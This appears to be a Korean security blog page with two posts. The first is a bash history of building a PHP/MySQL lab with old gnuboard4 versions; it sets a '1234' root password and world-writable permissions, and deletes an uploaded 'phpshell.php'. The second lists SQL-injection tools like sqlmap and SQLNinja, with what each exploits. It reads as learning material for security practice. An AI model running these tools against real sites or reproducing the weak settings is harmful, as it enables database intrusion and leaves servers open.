   20  ls

   21  cd html/

   22  ls

   23  ls -al

   24  yum -y install system-config-firewall-tui

   25  system-config-firewall-tui 

   26  /etc/init.d/iptables stop

   27  vi /etc/selinux/config

   28  reboot

   29  yum -y install mysql

   30  yum -y install mysql-server

   31  ls

   32  cd /var/www/html/

   33  ls

   34  vi

   35  ls

   36  vi test.php

   37  service  vsftpd restart

   38  service  system-config-firewall-tuivsftpd restart

   39  system-config-firewall-tui

   40  export LC_ALL=C

   41  system-config-firewall-tui

   42  local

   43  locale

   44  python --version

   45  /etc/init.d/iptables restart

   46  service httpd start

   47  yum -y install php

   48  ls

   49  ls -al

   50  chomd 707 test.php 

   51  chmod 707 test.php 

   52  ls

   53  systemctl enable httpd.service  

   54  vi /etc/sysconfig/iptables

   55  iptables -I INPUT -p tcp --dport 80 -j ACCEPT

   56  /etc/init.d/iptables save

   57  /etc/init.d/iptables restart

   58  ls

   59  vi test.php 

   60  yum -y install php php-mysql php-gd php-pear

   61  systemctl restart httpd.service

   62  yum install systemctl

   63  service httpd restart

   64  vi /etc/php.ini

   65  mysql -uroot -p

   66  yum -y install mysql

   67  yum -y install mysql-server

   68  mysql 

   69  service mysqld start

   70  mysql -uroot -p

   71  /usr/bin/mysqladmin -u root password '1234'

   72  mysql -uroot -p

   73  ls

   74  cd ..

   75  ls

   76  wegt

   77  wget

   78  wget http://10.211.55.3/gnuboard4.utf8.4.37.31.(2015.07.29).tgz

   79  wget http://10.211.55.3/gnuboard4.tgz

   80  ls

   81  tar xvzf gnuboard4.tgz 

   82  ls

   83  mv html html2

   84  mv gnuboard4 html

   85  ls

   86  chmod 707 hyml

   87  chmod 707 html

   88  ls

   89  cd hyml

   90  cd html

   91  ls

   92  mkdir data

   93  chmod 707 data

   94  ls

   95  vi /etc/php.ini

   96  ls

   97  vi test.php

   98  service httpd restart

   99  ls

  100  cd ..

  101  ls

  102  rm gnuboard4.tgz 

  103  rm -rf gnuboard4.tgz 

  104  ls

  105  rm -rf html2

  106  ls

  107  rm -rf html/

  108  wget http://10.211.55.3/gnuboard4.utf8.4.34.15.2011.10.24.tgz

  109  ls

  110  tar cvxf gnuboard4.utf8.4.34.15.2011.10.24.tgz 

  111  history

  112* tar xvfz gnuboar

  113  ls

  114  mv gnuboard4 html

  115  chmod 707

  116  chmod 707 html/

  117  ls

  118  cd html/

  119  ls

  120  mkdir data

  121  chmod 707 data

  122  ls

  123  cd ..

  124  ls

  125* wget 

  126  wget http://10.211.55.3/nuboard4.utf8.4.34.15.2011.10.24.tgz

  127  wget http://10.211.55.3/gnuboard4.utf8.4.34.14.2011.10.05.tgz

  128  ls

  129  tar xvzf gnuboard4.utf8.4.34.14.2011.10.05.tgz 

  130  ls

  131  mv gnuboard4 html

  132  l

  133  ls

  134  chmod 707 html

  135  ls

  136  cd html

  137  ls

  138  cd ..

  139  ls

  140  mv html2 html15

  141  cd html

  142  ls

  143  mkdir data

  144  chmod 707 data

  145  ls

  146  cd data/

  147  ls

  148  ls -al

  149  cd file/

  150  ls

  151  cat index.php 

  152  ls

  153  cat index.php 

  154  cd g1`


;

exit

q

  155  ls

  156  cd g1a1/

  157  ls

  158  cd ..

  159  ls

  160  cd ..

  161  ls

  162  cd log/

  163  ls

  164  ca index.php 

  165  cat index.php 

  166  cd ..

  167  ls

  168  cd session/

  169  ls

  170  ls -al

  171  ls

  172  ls -al

  173  ls

  174  cd ..

  175  ls

  176  cd member/

  177  ls

  178  cd ..

  179  ls

  180  cd cheditor4/

  181  ls

  182  cd ..

  183  ls

  184  cd cheditor

  185  ls

  186  cd ..

  187  ls

  188  cd ..

  189  ls

  190  cd ..

  191  ls

  192  cd html15/

  193  ls

  194  cd data/

  195  s

  196  ls

  197  cd session/

  198  ls

  199  cd ..

  200  ls

  201  cd ..

  202  ls

  203  cd ..

  204  l

  205  ls

  206  mv html14

  207  mv html html14

  208  mv html15 html

  209  ls

  210  cd html

  211  l

  212  ls

  213  cd cheditor5

  214  cd popup/

  215  ls

  216  cd js/

  217  ls

  218  vi dialog.js 

  219  cat dialog.js 

  220  ls

  221  cd ..

  222  ls

  223  cd ..

  224  ls

  225  cd ..

  226  ls

  227  cd data

  228  ls

  229  cd cheditor

  230  ks

  231  ls

  232  cd ..

  233  ls

  234  cd cheditor

  235  ls

  236  cd ..

  237  ls

  238  cd cheditor4

  239  ls

  240  cd 1703/

  241  ls

  242  cd ..

  243  pwd

  244  ls

  245  cd file/

  246  ls

  247  cd g1a1/

  248  ls

  249  pwd

  250  ls

  251  ls -al

  252  ls

  253  ls -al

  254  ls

  255  cd ..

  256  ls

  257  cd ..

  258  ls

  259  cd ..

  260  ls

  261  cd cheditor5

  262  ls

  263  cd ..

  264  ls

  265  cd cheditor4

  266  ls

  267  cd example/

  268  ls

  269  vi textarea.html 

  270  ls

  271  cat textarea.html 

  272  ls

  273  vi textarea.html 

  274  ls

  275  cd ..

  276  ls

  277  cd ..

  278  l

  279  ls

  280  cd data

  281  ls

  282  cd cheditor4

  283  ls

  284  cd 1703/

  285  ls

  286  rm phpshell.php 

  287  ls

  288  pwd

  289  ls

  290  cd ..

  291  ls

  292  cd ..

  293  ls

  294  cd file/

  295  ls

  296  pwd

  297  ã…›ã…•ã…yum install phpMyAdmin

  298  yum install phpMyAdmin

  299  curl -s -I http://localhost/phpMyAdmin/ | head -3

  300  ls

  301  cd ..

  302  ls

  303  cd ..

  304  ls

  305  mkdir db

  306  ls

  307  cd db

  308  s

  309  wget https://files.phpmyadmin.net/phpMyAdmin/4.0.10.19/phpMyAdmin-4.0.10.19-all-languages.zip

  310  ls

  311  unzip ./phpMyAdmin-4.0.10.19-all-languages.zip 

  312  yum install unzip

  313  unzip ./phpMyAdmin-4.0.10.19-all-languages.zip 

  314  ls

  315  mv phpMyAdmin-4.0.10.19-all-languages ../phpMyAdmin

  316  ls

  317  cd ..

  318  ls

  319  cd db

  320  ls

  321  mv phpMyAdmin-4.0.10.19-all-languages.zip ../..

  322  ls

  323  cd ..

  324  ls

  325  cd html

  326  ls

  327  rm db

  328  rm -rf db

  329  ls

  330  cd phpMyAdmin/

  331  ls

  332  vi libraries/config.default.php 

  333  curl -s -I http://localhost/phpMyAdmin/ | head -3

  334  cd /etc/httpd/conf.d/

  335  grep 127.0.0.1 phpMyAdmin.conf

  336  ls

  337  yum install php-mbstring

  338  service httpd restart

  339  ls

  340  cd /var/www/

  341  ls

  342  cd html

  343  ls

  344  cd data/

  345  ls

  346  history > 1.txt


' > php' 카테고리의 다른 글

wordpress / ubuntu 16.04 설치  (0) 2017.04.01
페이지 이동  (0) 2014.05.29
Posted by wakira
,

sql injection 툴

SQL Injection 2017. 2. 28. 14:25

이중에서 sqlmap이 좋은거 같음.




안녕하세요.

 

조금 된 SQL 툴들 아래 나열합니다.

 

1. SQLIer 취약점이 있는 URL을 검사하고 사용자의 개입없이 SQL Injection 취약점을 익스플로잇하기 위해 필요한 정보를 점검합니다다운로드

2. SQLbftools 
블라인드 SQL Injection 공격을 사용하여 MySQL의 정보를 가져오는 시도를 하는 도구의 모음입니다다운로드

3. SQL Injection Brute-forcer - SQL Injection 
공격 취약점을 찾고 이를 이용하여 공격하는 자동화 도구입니다사용자가 작업하는 내용을 볼 수 있으며블라인드 SQL 인젝션을 이용합니다다운로드

5. SQL Brute - 
블라인드 SQL 인젝션 취약점을 사용하여 데이터베이스에서 데이터를 추출해내는 무작위 도구입니다. MS SQL 서버의 시간오류 기반으로 익스플로잇을 수행합니다오라클의 경우 오류를 기반으로 합니다이 프로그램은 Python으로 작성되었으며 멀티 스레드로 동작하며 표준 라이브러리를 사용합니다다운로드

5. BobCat - SQL Injection 
취약점의 잇점을 이용하는 감사 도구입니다사용자가 사용하는 애플리케이션이 액세스하는 테이블에서 데이터를 가져올 수 있습니다다운로드

6. SQLMap 
블라인드 SQL Injection을 자동으로 수행하는 도구로 phthon으로 개발되었다다운로드

7. Absinthe - GUI 
기반의 도구로 블라인드 SQL Injection 취약점에 이용하여 데이터베이스의 스키마와 목록을 자동화 과정으로 다운로드합니다다운로드

8. SQL Injection Pen-testing Tool - 
웹 애플리케이션에서의 취약점을 찾아 데이터베이스를 점검하도록 설계된 GUI 기반의 도구다운로드

9. SQID - SQL Injection Digger. 
웹 사이트의 통상적인 오류와 SQL Injection을 찾는 명령행 기반의 도구웹 페이지에서 SQL Injection 이 가능한 부분을 찾아내어 취약점을 입력하는 폼을 테스트한다다운로드

10. Blind SQL Injection Perl Tool - bsqlbf
 SQL Injection에 취햑한 웹 사이트에서 정보를 가져오도록 작성된 펄 스크립트다운로드

11. SQL Power Injection Injector - 
이 프로그램은 웹페이지에서 SQL 명령어를 삽입하는 테스트를 수행합니다멀티 스레드 방식으로 블라인드 SQL Injection 공격을 자동화하여 실행합니다다운로드 

12. FJ-Injector Framework - 
웹 애플리케이션에 SQL Injection 취약점이 있는지 검사하기 위해 디자인된 오픈 소스 무료 프로그램입니다. HTTP 요청을 가로쳐서 변경하기 위한 프록시 기능도 제공합니다. SQL Injection 익스플로잇을 자동화하여 수행합니다다운로드

13. SQLNinja - MS SQL 
서버를 백 엔드 데이터베이스로 사용하는 웹 애플리케이션의 SQL Injection 취약점을 익스플로잇하는 도구입니다다운로드

14. Automatic SQL Injector - SQLNinja
와 유사한 도구로오류 코드가 반환되는 SQL Injection 취약점을 자동으로 찾아 줍니다다운로드

15. NGSS SQL Injector - 
데이터베이스에 저장된 데이터를 액세스하기 위한 SQL Injection취약점을 이용하여 익스플로잇합니다. Access, DB2, Informix, MSSQL, MySQL, Oracle, Sysbase 등 다양한 데이터베이스를 지원합니다다운로드

'SQL Injection' 카테고리의 다른 글

blind sql injection - 기초  (0) 2017.02.28
Posted by wakira
,